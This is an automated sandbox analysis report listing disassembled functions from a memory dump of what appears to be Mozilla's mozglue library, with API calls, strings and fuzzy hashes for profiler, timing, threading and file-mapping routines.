Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: a.8/
API String ID: 2206442479-2801666753
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C6B6660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

a.8/, xrefs: 6C6B6678
WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64$a.8/
API String ID: 2357170935-2154280490
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
<none>, xrefs: 6C69DFD7

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C675670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

a.8/, xrefs: 6C67567F
MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART$a.8/
API String ID: 2752551254-2228616841
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C6BAC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Strings

a.8/, xrefs: 6C6BAC29

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: a.8/
API String ID: 1192971331-2801666753
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C698ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

a.8/, xrefs: 6C698ED9
marker-table, xrefs: 6C69906C
timeline-memory, xrefs: 6C699088
stack-chart, xrefs: 6C6990B2
data, xrefs: 6C6990E8
marker-chart, xrefs: 6C69905E
name, xrefs: 6C698F16
timeline-fileio, xrefs: 6C6990A4
timeline-overview, xrefs: 6C69907A
timeline-ipc, xrefs: 6C699096

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: a.8/$data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-4292656749
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C653480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

a.8/, xrefs: 6C653488
GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$a.8/$kernel32.dll
API String ID: 3634367004-1236483184
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C6A9D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Strings

a.8/, xrefs: 6C6A9D0E

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: a.8/
API String ID: 956590011-2801666753
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6B5D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Strings

a.8/, xrefs: 6C6B5D19

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: a.8/
API String ID: 2325513730-2801666753
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C669620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

a.8/, xrefs: 6C66959E, 6C669632
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$a.8/$ntdll.dll
API String ID: 409848716-1674684345
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
